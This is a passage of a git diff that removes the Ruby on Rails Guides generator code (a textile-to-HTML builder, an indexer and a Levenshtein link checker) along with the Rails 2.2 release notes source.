-# Some arguments may be passed via environment variables:
-#
-# WARNINGS
-# If you are writing a guide, please work always with WARNINGS=1. Users can
-# generate the guides, and thus this flag is off by default.
-#
-# Internal links (anchors) are checked. If a reference is broken levenshtein
-# distance is used to suggest an existing one. This is useful since IDs are
-# generated by Textile from headers and thus edits alter them.
-#
-# Also detects duplicated IDs. They happen if there are headers with the same
-# text. Please do resolve them, if any, so guides are valid XHTML.
-#
-# ALL
-# Set to "1" to force the generation of all guides.
-#
-# ONLY
-# Use ONLY if you want to generate only one or a set of guides. Prefixes are
-# enough:
-#
-# # generates only association_basics.html
-# ONLY=assoc ruby rails_guides.rb
-#
-# Separate many using commas:
-#
-# # generates only association_basics.html and migrations.html
-# ONLY=assoc,migrations ruby rails_guides.rb
-#
-# Note that if you are working on a guide generation will by default process
-# only that one, so ONLY is rarely used nowadays.
-#
-# GUIDES_LANGUAGE
-# Use GUIDES_LANGUAGE when you want to generate translated guides in
-# <tt>source/<GUIDES_LANGUAGE></tt> folder (such as <tt>source/es</tt>).
-# Ignore it when generating English guides.
-#
-# EDGE
-# Set to "1" to indicate generated guides should be marked as edge. This
-# inserts a badge and changes the preamble of the home page.
-#
-# ---------------------------------------------------------------------------
-
-require 'set'
-require 'fileutils'
-
-require 'active_support/core_ext/string/output_safety'
-require 'active_support/core_ext/object/blank'
-require 'action_controller'
-require 'action_view'
-
-require 'rails_guides/indexer'
-require 'rails_guides/helpers'
-require 'rails_guides/levenshtein'
-
-module RailsGuides
- class Generator
- attr_reader :guides_dir, :source_dir, :output_dir, :edge, :warnings, :all
-
- GUIDES_RE = /\.(?:textile|html\.erb)$/
-
- def initialize(output=nil)
- @lang = ENV['GUIDES_LANGUAGE']
- initialize_dirs(output)
- create_output_dir_if_needed
- set_flags_from_environment
- end
-
- def generate
- generate_guides
- copy_assets
- end
-
- private
- def initialize_dirs(output)
- @guides_dir = File.join(File.dirname(__FILE__), '..')
- @source_dir = File.join(@guides_dir, "source", @lang.to_s)
- @output_dir = output || File.join(@guides_dir, "output", @lang.to_s)
- end
-
- def create_output_dir_if_needed
- FileUtils.mkdir_p(output_dir)
- end
-
- def set_flags_from_environment
- @edge = ENV['EDGE'] == '1'
- @warnings = ENV['WARNINGS'] == '1'
- @all = ENV['ALL'] == '1'
- end
-
- def generate_guides
- guides_to_generate.each do |guide|
- output_file = output_file_for(guide)
- generate_guide(guide, output_file) if generate?(guide, output_file)
- end
- end
-
- def guides_to_generate
- guides = Dir.entries(source_dir).grep(GUIDES_RE)
- ENV.key?('ONLY') ? select_only(guides) : guides
- end
-
- def select_only(guides)
- prefixes = ENV['ONLY'].split(",").map(&:strip)
- guides.select do |guide|
- prefixes.any? {|p| guide.start_with?(p)}
- end
- end
-
- def copy_assets
- FileUtils.cp_r(Dir.glob("#{guides_dir}/assets/*"), output_dir)
- end
-
- def output_file_for(guide)
- guide.sub(GUIDES_RE, '.html')
- end
-
- def generate?(source_file, output_file)
- fin = File.join(source_dir, source_file)
- fout = File.join(output_dir, output_file)
- all || !File.exists?(fout) || File.mtime(fout) < File.mtime(fin)
- end
-
- def generate_guide(guide, output_file)
- puts "Generating #{output_file}"
- File.open(File.join(output_dir, output_file), 'w') do |f|
- view = ActionView::Base.new(source_dir, :edge => edge)
- view.extend(Helpers)
-
- if guide =~ /\.html\.erb$/
- # Generate the special pages like the home.
- result = view.render(:layout => 'layout', :file => guide)
- else
- body = File.read(File.join(source_dir, guide))
- body = set_header_section(body, view)
- body = set_index(body, view)
-
- result = view.render(:layout => 'layout', :text => textile(body))
-
- warn_about_broken_links(result) if @warnings
- end
-
- f.write result
- end
- end
-
- def set_header_section(body, view)
- new_body = body.gsub(/(.*?)endprologue\./m, '').strip
- header = $1
-
- header =~ /h2\.(.*)/
- page_title = "Ruby on Rails Guides: #{$1.strip}"
-
- header = textile(header)
-
- view.content_for(:page_title) { page_title.html_safe }
- view.content_for(:header_section) { header.html_safe }
- new_body
- end
-
- def set_index(body, view)
- index = <<-INDEX
- <div id="subCol">
- <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
- <ol class="chapters">
- INDEX
-
- i = Indexer.new(body, warnings)
- i.index
-
- # Set index for 2 levels
- i.level_hash.each do |key, value|
- link = view.content_tag(:a, :href => key[:id]) { textile(key[:title], true).html_safe }
-
- children = value.keys.map do |k|
- view.content_tag(:li,
- view.content_tag(:a, :href => k[:id]) { textile(k[:title], true).html_safe })
- end
-
- children_ul = children.empty? ? "" : view.content_tag(:ul, children.join(" ").html_safe)
-
- index << view.content_tag(:li, link.html_safe + children_ul.html_safe)
- end
-
- index << '</ol>'
- index << '</div>'
-
- view.content_for(:index_section) { index.html_safe }
-
- i.result
- end
-
- def textile(body, lite_mode=false)
- t = RedCloth.new(body)
- t.hard_breaks = false
- t.lite_mode = lite_mode
- t.to_html(:notestuff, :plusplus, :code)
- end
-
- def warn_about_broken_links(html)
- anchors = extract_anchors(html)
- check_fragment_identifiers(html, anchors)
- end
-
- def extract_anchors(html)
- # Textile generates headers with IDs computed from titles.
- anchors = Set.new
- html.scan(/<h\d\s+id="([^"]+)/).flatten.each do |anchor|
- if anchors.member?(anchor)
- puts "*** DUPLICATE ID: #{anchor}, please put and explicit ID, e.g. h4(#explicit-id), or consider rewording"
- else
- anchors << anchor
- end
- end
-
- # Footnotes.
- anchors += Set.new(html.scan(/<p\s+class="footnote"\s+id="([^"]+)/).flatten)
- anchors += Set.new(html.scan(/<sup\s+class="footnote"\s+id="([^"]+)/).flatten)
- return anchors
- end
-
- def check_fragment_identifiers(html, anchors)
- html.scan(/<a\s+href="#([^"]+)/).flatten.each do |fragment_identifier|
- next if fragment_identifier == 'mainCol' # in layout, jumps to some DIV
- unless anchors.member?(fragment_identifier)
- guess = anchors.min { |a, b|
- Levenshtein.distance(fragment_identifier, a) <=> Levenshtein.distance(fragment_identifier, b)
- }
- puts "*** BROKEN LINK: ##{fragment_identifier}, perhaps you meant ##{guess}."
- end
- end
- end
- end
-end
diff --git a/railties/guides/rails_guides/helpers.rb b/railties/guides/rails_guides/helpers.rb
deleted file mode 100644
index 463df8a7a8..0000000000
--- a/railties/guides/rails_guides/helpers.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-module RailsGuides
- module Helpers
- def guide(name, url, options = {}, &block)
- link = content_tag(:a, :href => url) { name }
- result = content_tag(:dt, link)
-
- if options[:work_in_progress]
- result << content_tag(:dd, 'Work in progress', :class => 'work-in-progress')
- end
-
- result << content_tag(:dd, capture(&block))
- result
- end
-
- def author(name, nick, image = 'credits_pic_blank.gif', &block)
- image = "images/#{image}"
-
- result = content_tag(:img, nil, :src => image, :class => 'left pic', :alt => name, :width => 91, :height => 91)
- result << content_tag(:h3, name)
- result << content_tag(:p, capture(&block))
- content_tag(:div, result, :class => 'clearfix', :id => nick)
- end
-
- def code(&block)
- c = capture(&block)
- content_tag(:code, c)
- end
- end
-end
diff --git a/railties/guides/rails_guides/indexer.rb b/railties/guides/rails_guides/indexer.rb
deleted file mode 100644
index fb46491817..0000000000
--- a/railties/guides/rails_guides/indexer.rb
+++ /dev/null
@@ -1,69 +0,0 @@
-require 'active_support/core_ext/object/blank'
-require 'active_support/ordered_hash'
-require 'active_support/core_ext/string/inflections'
-
-module RailsGuides
- class Indexer
- attr_reader :body, :result, :warnings, :level_hash
-
- def initialize(body, warnings)
- @body = body
- @result = @body.dup
- @warnings = warnings
- end
-
- def index
- @level_hash = process(body)
- end
-
- private
-
- def process(string, current_level=3, counters=[1])
- s = StringScanner.new(string)
-
- level_hash = ActiveSupport::OrderedHash.new
-
- while !s.eos?
- re = %r{^h(\d)(?:\((#.*?)\))?\s*\.\s*(.*)$}
- s.match?(re)
- if matched = s.matched
- matched =~ re
- level, idx, title = $1.to_i, $2, $3.strip
-
- if level < current_level
- # This is needed. Go figure.
- return level_hash
- elsif level == current_level
- index = counters.join(".")
- idx ||= '#' + title_to_idx(title)
-
- raise "Parsing Fail" unless @result.sub!(matched, "h#{level}(#{idx}). #{index} #{title}")
-
- key = {
- :title => title,
- :id => idx
- }
- # Recurse
- counters << 1
- level_hash[key] = process(s.post_match, current_level + 1, counters)
- counters.pop
-
- # Increment the current level
- last = counters.pop
- counters << last + 1
- end
- end
- s.getch
- end
- level_hash
- end
-
- def title_to_idx(title)
- idx = title.strip.parameterize.sub(/^\d+/, '')
- if warnings && idx.blank?
- puts "BLANK ID: please put an explicit ID for section #{title}, as in h5(#my-id)"
- end
- idx
- end
- end
-end
diff --git a/railties/guides/rails_guides/levenshtein.rb b/railties/guides/rails_guides/levenshtein.rb
deleted file mode 100644
index f99c6e6ba8..0000000000
--- a/railties/guides/rails_guides/levenshtein.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-module RailsGuides
- module Levenshtein
- # Based on the pseudocode in http://en.wikipedia.org/wiki/Levenshtein_distance.
- def self.distance(s1, s2)
- s = s1.unpack('U*')
- t = s2.unpack('U*')
- m = s.length
- n = t.length
-
- # matrix initialization
- d = []
- 0.upto(m) { |i| d << [i] }
- 0.upto(n) { |j| d[0][j] = j }
-
- # distance computation
- 1.upto(m) do |i|
- 1.upto(n) do |j|
- cost = s[i] == t[j] ? 0 : 1
- d[i][j] = [
- d[i-1][j] + 1, # deletion
- d[i][j-1] + 1, # insertion
- d[i-1][j-1] + cost, # substitution
- ].min
- end
- end
-
- # all done
- return d[m][n]
- end
- end
-end
diff --git a/railties/guides/rails_guides/textile_extensions.rb b/railties/guides/rails_guides/textile_extensions.rb
deleted file mode 100644
index 4677fae504..0000000000
--- a/railties/guides/rails_guides/textile_extensions.rb
+++ /dev/null
@@ -1,63 +0,0 @@
-require 'active_support/core_ext/object/inclusion'
-
-module RailsGuides
- module TextileExtensions
- def notestuff(body)
- # The following regexp detects special labels followed by a
- # paragraph, perhaps at the end of the document.
- #
- # It is important that we do not eat more than one newline
- # because formatting may be wrong otherwise. For example,
- # if a bulleted list follows the first item is not rendered
- # as a list item, but as a paragraph starting with a plain
- # asterisk.
- body.gsub!(/^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO)[.:](.*?)(\n(?=\n)|\Z)/m) do |m|
- css_class = case $1
- when 'CAUTION', 'IMPORTANT'
- 'warning'
- when 'TIP'
- 'info'
- else
- $1.downcase
- end
- %Q(<div class="#{css_class}"><p>#{$2.strip}</p></div>)
- end
- end
-
- def plusplus(body)
- body.gsub!(/\+(.*?)\+/) do |m|
- "<notextile><tt>#{$1}</tt></notextile>"
- end
-
- # The real plus sign
- body.gsub!('<plus>', '+')
- end
-
- def brush_for(code_type)
- case code_type
- when 'ruby', 'sql', 'plain'
- code_type
- when 'erb'
- 'ruby; html-script: true'
- when 'html'
- 'xml' # html is understood, but there are .xml rules in the CSS
- else
- 'plain'
- end
- end
-
- def code(body)
- body.gsub!(%r{<(yaml|shell|ruby|erb|html|sql|plain)>(.*?)</\1>}m) do |m|
- <<HTML
-<notextile>
-<div class="code_container">
-<pre class="brush: #{brush_for($1)}; gutter: false; toolbar: false">
-#{ERB::Util.h($2).strip}
-</pre>
-</div>
-</notextile>
-HTML
- end
- end
- end
-end
diff --git a/railties/guides/source/2_2_release_notes.textile b/railties/guides/source/2_2_release_notes.textile
deleted file mode 100644
index 8e2d528eee..0000000000
--- a/railties/guides/source/2_2_release_notes.textile
+++ /dev/null
@@ -1,422 +0,0 @@
-h2. Ruby on Rails 2.2 Release Notes
-
-Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the "list of commits":http://github.com/rails/rails/commits/master in the main Rails repository on GitHub.
-
-Along with Rails, 2.2 marks the launch of the "Ruby on Rails Guides":http://guides.rubyonrails.org/, the first results of the ongoing "Rails Guides hackfest":http://hackfest.rubyonrails.org/guide. This site will deliver high-quality documentation of the major features of Rails.
-
-endprologue.
-
-h3. Infrastructure
-
-Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world.
-
-h4. Internationalization
-
-Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing).
-
-* Lead Contributors: Rails i18 Team
-* More information :
-** "Official Rails i18 website":http://rails-i18n.org
-** "Finally. Ruby on Rails gets internationalized":http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized
-** "Localizing Rails : Demo application":http://github.com/clemens/i18n_demo_app
-
-h4. Compatibility with Ruby 1.9 and JRuby
-
-Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released.
-
-h3. Documentation
-
-The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the "Ruby on Rails Guides":http://guides.rubyonrails.org/ project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:
-
-* "Getting Started with Rails":http://guides.rubyonrails.org/getting_started.html
-* "Rails Database Migrations":http://guides.rubyonrails.org/migrations.html
-* "Active Record Associations":http://guides.rubyonrails.org/association_basics.html
-* "Active Record Query Interface":http://guides.rubyonrails.org/active_record_querying.html
-* "Layouts and Rendering in Rails":http://guides.rubyonrails.org/layouts_and_rendering.html
-* "Action View Form Helpers":http://guides.rubyonrails.org/form_helpers.html
-* "Rails Routing from the Outside In":http://guides.rubyonrails.org/routing.html
-* "Action Controller Overview":http://guides.rubyonrails.org/action_controller_overview.html
-* "Rails Caching":http://guides.rubyonrails.org/caching_with_rails.html
-* "A Guide to Testing Rails Applications":http://guides.rubyonrails.org/testing.html
-* "Securing Rails Applications":http://guides.rubyonrails.org/security.html
-* "Debugging Rails Applications":http://guides.rubyonrails.org/debugging_rails_applications.html
-* "Performance Testing Rails Applications":http://guides.rubyonrails.org/performance_testing.html
-* "The Basics of Creating Rails Plugins":http://guides.rubyonrails.org/plugins.html
-
-All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.
-
-If you want to generate these guides locally, inside your application:
-
-<ruby>
-rake doc:guides
-</ruby>
-
-This will put the guides inside +Rails.root/doc/guides+ and you may start surfing straight away by opening +Rails.root/doc/guides/index.html+ in your favourite browser.
-
-* Lead Contributors: "Rails Documentation Team":credits.html
-* Major contributions from "Xavier Noria":http://advogato.org/person/fxn/diary.html and "Hongli Lai":http://izumi.plan99.net/blog/.
-* More information:
-** "Rails Guides hackfest":http://hackfest.rubyonrails.org/guide
-** "Help improve Rails documentation on Git branch":http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch
-
-h3. Better integration with HTTP : Out of the box ETag support
-
-Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all.
-
-<ruby>
-class ArticlesController < ApplicationController
- def show_with_respond_to_block
- @article = Article.find(params[:id])
-
- # If the request sends headers that differs from the options provided to stale?, then
- # the request is indeed stale and the respond_to block is triggered (and the options
- # to the stale? call is set on the response).
- #
- # If the request headers match, then the request is fresh and the respond_to block is
- # not triggered. Instead the default render will occur, which will check the last-modified
- # and etag headers and conclude that it only needs to send a "304 Not Modified" instead
- # of rendering the template.
- if stale?(:last_modified => @article.published_at.utc, :etag => @article)
- respond_to do |wants|
- # normal response processing
- end
- end
- end
-
- def show_with_implied_render
- @article = Article.find(params[:id])
-
- # Sets the response headers and checks them against the request, if the request is stale
- # (i.e. no match of either etag or last-modified), then the default render of the template happens.
- # If the request is fresh, then the default render will return a "304 Not Modified"
- # instead of rendering the template.
- fresh_when(:last_modified => @article.published_at.utc, :etag => @article)
- end
-end
-</ruby>
-
-h3. Thread Safety
-
-The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores.
-
-To enable multithreaded dispatching in production mode of your application, add the following line in your +config/environments/production.rb+:
-
-<ruby>
-config.threadsafe!
-</ruby>
-
-* More information :
-** "Thread safety for your Rails":http://m.onkey.org/2008/10/23/thread-safety-for-your-rails
-** "Thread safety project announcement":http://weblog.rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core
-** "Q/A: What Thread-safe Rails Means":http://blog.headius.com/2008/08/qa-what-thread-safe-rails-means.html
-
-h3. Active Record
-
-There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements.
-
-h4. Transactional Migrations
-
-Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by +rake db:migrate:redo+ after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter.
-
-* Lead Contributor: "Adam Wiggins":http://adam.blog.heroku.com/
-* More information:
-** "DDL Transactions":http://adam.blog.heroku.com/past/2008/9/3/ddl_transactions/
-** "A major milestone for DB2 on Rails":http://db2onrails.com/2008/11/08/a-major-milestone-for-db2-on-rails/
-
-h4. Connection Pooling
-
-Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a +pool+ key to your +database.yml+ to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a +wait_timeout+ that defaults to 5 seconds before giving up. +ActiveRecord::Base.connection_pool+ gives you direct access to the pool if you need it.
-
-<ruby>
-development:
- adapter: mysql
- username: root
- database: sample_development
- pool: 10
- wait_timeout: 10
-</ruby>
-
-* Lead Contributor: "Nick Sieger":http://blog.nicksieger.com/
-* More information:
-** "What's New in Edge Rails: Connection Pools":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools
-
-h4. Hashes for Join Table Conditions
-
-You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins.
-
-<ruby>
-class Photo < ActiveRecord::Base
- belongs_to :product
-end
-
-class Product < ActiveRecord::Base
- has_many :photos
-end
-
-# Get all products with copyright-free photos:
-Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false }})
-</ruby>
-
-* More information:
-** "What's New in Edge Rails: Easy Join Table Conditions":http://ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions
-
-h4. New Dynamic Finders
-
-Two new sets of methods have been added to Active Record's dynamic finders family.
-
-h5. +find_last_by_<em>attribute</em>+
-
-The +find_last_by_<em>attribute</em>+ method is equivalent to +Model.last(:conditions => {:attribute => value})+
-
-<ruby>
-# Get the last user who signed up from London
-User.find_last_by_city('London')
-</ruby>
-
-* Lead Contributor: "Emilio Tagua":http://www.workingwithrails.com/person/9147-emilio-tagua
-
-h5. +find_by_<em>attribute</em>!+
-
-The new bang! version of +find_by_<em>attribute</em>!+ is equivalent to +Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound+ Instead of returning +nil+ if it can't find a matching record, this method will raise an exception if it cannot find a match.
-
-<ruby>
-# Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet!
-User.find_by_name!('Moby')
-</ruby>
-
-* Lead Contributor: "Josh Susser":http://blog.hasmanythrough.com
-
-h4. Associations Respect Private/Protected Scope
-
-Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) +@user.account.private_method+ would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use +@user.account.send(:private_method)+ (or make the method public instead of private or protected). Please note that if you're overriding +method_missing+, you should also override +respond_to+ to match the behavior in order for associations to function normally.
-
-* Lead Contributor: Adam Milligan
-* More information:
-** "Rails 2.2 Change: Private Methods on Association Proxies are Private":http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/
-
-h4. Other ActiveRecord Changes
-
-* +rake db:migrate:redo+ now accepts an optional VERSION to target that specific migration to redo
-* Set +config.active_record.timestamped_migrations = false+ to have migrations with numeric prefix instead of UTC timestamp.
-* Counter cache columns (for associations declared with +:counter_cache => true+) do not need to be initialized to zero any longer.
-* +ActiveRecord::Base.human_name+ for an internationalization-aware humane translation of model names
-
-h3. Action Controller
-
-On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications.
-
-h4. Shallow Route Nesting
-
-Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with.
-
-<ruby>
-map.resources :publishers, :shallow => true do |publisher|
- publisher.resources :magazines do |magazine|
- magazine.resources :photos
- end
-end
-</ruby>
-
-This will enable recognition of (among others) these routes:
-
-<ruby>
-/publishers/1 ==> publisher_path(1)
-/publishers/1/magazines ==> publisher_magazines_path(1)
-/magazines/2 ==> magazine_path(2)
-/magazines/2/photos ==> magazines_photos_path(2)
-/photos/3 ==> photo_path(3)
-</ruby>
-
-* Lead Contributor: "S. Brent Faulkner":http://www.unwwwired.net/
-* More information:
-** "Rails Routing from the Outside In":http://guides.rubyonrails.org/routing.html#_nested_resources
-** "What's New in Edge Rails: Shallow Routes":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes
-
-h4. Method Arrays for Member or Collection Routes
-
-You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration:
-
-<ruby>
-map.resources :photos, :collection => { :search => [:get, :post] }
-</ruby>
-
-* Lead Contributor: "Brennan Dunn":http://brennandunn.com/
-
-h4. Resources With Specific Actions
-
-By default, when you use +map.resources+ to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the +:only+ and +:except+ options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special +:all+ or +:none+ options. These options are inherited by nested resources.
-
-<ruby>
-map.resources :photos, :only => [:index, :show]
-map.resources :products, :except => :destroy
-</ruby>
-
-* Lead Contributor: "Tom Stuart":http://experthuman.com/
-
-h4. Other Action Controller Changes
-
-* You can now easily "show a custom error page":http://m.onkey.org/2008/7/20/rescue-from-dispatching for exceptions raised while routing a request.
-* The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as +/customers/1.xml+) to indicate the format that you want. If you need the Accept headers, you can turn them back on with +config.action_controller.use_accept_header = true+.
-* Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds
-* Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers.
-* +redirect_to+ now fully supports URI schemes (so, for example, you can redirect to a svn+ssh: URI).
-* +render+ now supports a +:js+ option to render plain vanilla JavaScript with the right mime type.
-* Request forgery protection has been tightened up to apply to HTML-formatted content requests only.
-* Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling +polymorphic_path([@project, @date, @area])+ with a nil date will give you +project_area_path+.
-
-h3. Action View
-
-* +javascript_include_tag+ and +stylesheet_link_tag+ support a new +:recursive+ option to be used along with +:all+, so that you can load an entire tree of files with a single line of code.
-* The included Prototype JavaScript library has been upgraded to version 1.6.0.3.
-* +RJS#page.reload+ to reload the browser's current location via JavaScript
-* The +atom_feed+ helper now takes an +:instruct+ option to let you insert XML processing instructions.
-
-h3. Action Mailer
-
-Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the +CustomerMailer+ class expects to use +layouts/customer_mailer.html.erb+.
-
-* More information:
-** "What's New in Edge Rails: Mailer Layouts":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts
-
-Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed.
-
-h3. Active Support
-
-Active Support now offers built-in memoization for Rails applications, the +each_with_object+ method, prefix support on delegates, and various other new utility methods.
-
-h4. Memoization
-
-Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications:
-
-<ruby>
-def full_name
- @full_name ||= "#{first_name} #{last_name}"
-end
-</ruby>
-
-Memoization lets you handle this task in a declarative fashion:
-
-<ruby>
-extend ActiveSupport::Memoizable
-
-def full_name
- "#{first_name} #{last_name}"
-end
-memoize :full_name
-</ruby>
-
-Other features of memoization include +unmemoize+, +unmemoize_all+, and +memoize_all+ to turn memoization on or off.
-
-* Lead Contributor: "Josh Peek":http://joshpeek.com/
-* More information:
-** "What's New in Edge Rails: Easy Memoization":http://ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization
-** "Memo-what? A Guide to Memoization":http://www.railway.at/articles/2008/09/20/a-guide-to-memoization
-
-h4. each_with_object
-
-The +each_with_object+ method provides an alternative to +inject+, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.
-
-<ruby>
-%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } #=> {'foo' => 'FOO', 'bar' => 'BAR'}
-</ruby>
-
-Lead Contributor: "Adam Keys":http://therealadam.com/
-
-h4. Delegates With Prefixes
-
-If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example:
-
-<ruby>
-class Vendor < ActiveRecord::Base
- has_one :account
- delegate :email, :password, :to => :account, :prefix => true
-end
-</ruby>
-
-This will produce delegated methods +vendor#account_email+ and +vendor#account_password+. You can also specify a custom prefix:
-
-<ruby>
-class Vendor < ActiveRecord::Base
- has_one :account
- delegate :email, :password, :to => :account, :prefix => :owner
-end
-</ruby>
-
-This will produce delegated methods +vendor#owner_email+ and +vendor#owner_password+.
-
-Lead Contributor: "Daniel Schierbeck":http://workingwithrails.com/person/5830-daniel-schierbeck
-
-h4. Other Active Support Changes
-
-* Extensive updates to +ActiveSupport::Multibyte+, including Ruby 1.9 compatibility fixes.
-* The addition of +ActiveSupport::Rescuable+ allows any class to mix in the +rescue_from+ syntax.
-* +past?+, +today?+ and +future?+ for +Date+ and +Time+ classes to facilitate date/time comparisons.
-* +Array#second+ through +Array#fifth+ as aliases for +Array#[1]+ through +Array#[4]+
-* +Enumerable#many?+ to encapsulate +collection.size > 1+
-* +Inflector#parameterize+ produces a URL-ready version of its input, for use in +to_param+.
-* +Time#advance+ recognizes fractional days and weeks, so you can do +1.7.weeks.ago+, +1.5.hours.since+, and so on.
-* The included TzInfo library has been upgraded to version 0.3.12.
-* +ActiveSuport::StringInquirer+ gives you a pretty way to test for equality in strings: +ActiveSupport::StringInquirer.new("abc").abc? => true+
-
-h3. Railties
-
-In Railties (the core code of Rails itself) the biggest changes are in the +config.gems+ mechanism.
-
-h4. config.gems
-
-To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in +/vendor/gems+. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands:
-
-* +config.gem _gem_name_+ in your +config/environment.rb+ file
-* +rake gems+ to list all configured gems, as well as whether they (and their dependencies) are installed, frozen, or framework (framework gems are those loaded by Rails before the gem dependency code is executed; such gems cannot be frozen)
-* +rake gems:install+ to install missing gems to the computer
-* +rake gems:unpack+ to place a copy of the required gems into +/vendor/gems+
-* +rake gems:unpack:dependencies+ to get copies of the required gems and their dependencies into +/vendor/gems+
-* +rake gems:build+ to build any missing native extensions
-* +rake gems:refresh_specs+ to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them
-
-You can unpack or install a single gem by specifying +GEM=_gem_name_+ on the command line.
-
-* Lead Contributor: "Matt Jones":http://github.com/al2o3cr
-* More information:
-** "What's New in Edge Rails: Gem Dependencies":http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies
-** "Rails 2.1.2 and 2.2RC1: Update Your RubyGems":http://afreshcup.com/2008/10/25/rails-212-and-22rc1-update-your-rubygems/
-** "Detailed discussion on Lighthouse":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/1128
-
-h4. Other Railties Changes
-
-* If you're a fan of the "Thin":http://code.macournoyer.com/thin/ web server, you'll be happy to know that +script/server+ now supports Thin directly.
-* +script/plugin install &lt;plugin&gt; -r &lt;revision&gt;+ now works with git-based as well as svn-based plugins.
-* +script/console+ now supports a +--debugger+ option
-* Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source
-* +rake notes:custom ANNOTATION=MYFLAG+ lets you list out custom annotations.
-* Wrapped +Rails.env+ in +StringInquirer+ so you can do +Rails.env.development?+
-* To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher.
-
-h3. Deprecated
-
-A few pieces of older code are deprecated in this release:
-
-* +Rails::SecretKeyGenerator+ has been replaced by +ActiveSupport::SecureRandom+
-* +render_component+ is deprecated. There's a "render_components plugin":http://github.com/rails/render_component/tree/master available if you need this functionality.
-* Implicit local assignments when rendering partials has been deprecated.
-
-<ruby>
-def partial_with_implicit_local_assignment
- @customer = Customer.new("Marcel")
- render :partial => "customer"
-end
-</ruby>
-
-Previously the above code made available a local variable called +customer+ inside the partial 'customer'. You should explicitly pass all the variables via :locals hash now.
-
-* +country_select+ has been removed. See the "deprecation page":http://www.rubyonrails.org/deprecation/list-of-countries for more information and a plugin replacement.
-* +ActiveRecord::Base.allow_concurrency+ no longer has any effect.
-* +ActiveRecord::Errors.default_error_messages+ has been deprecated in favor of +I18n.translate('activerecord.errors.messages')+
-* The +%s+ and +%d+ interpolation syntax for internationalization is deprecated.
-* +String#chars+ has been deprecated in favor of +String#mb_chars+.
-* Durations of fractional months or fractional years are deprecated. Use Ruby's core +Date+ and +Time+ class arithmetic instead.
-* +Request#relative_url_root+ is deprecated. Use +ActionController::Base.relative_url_root+ instead.
-
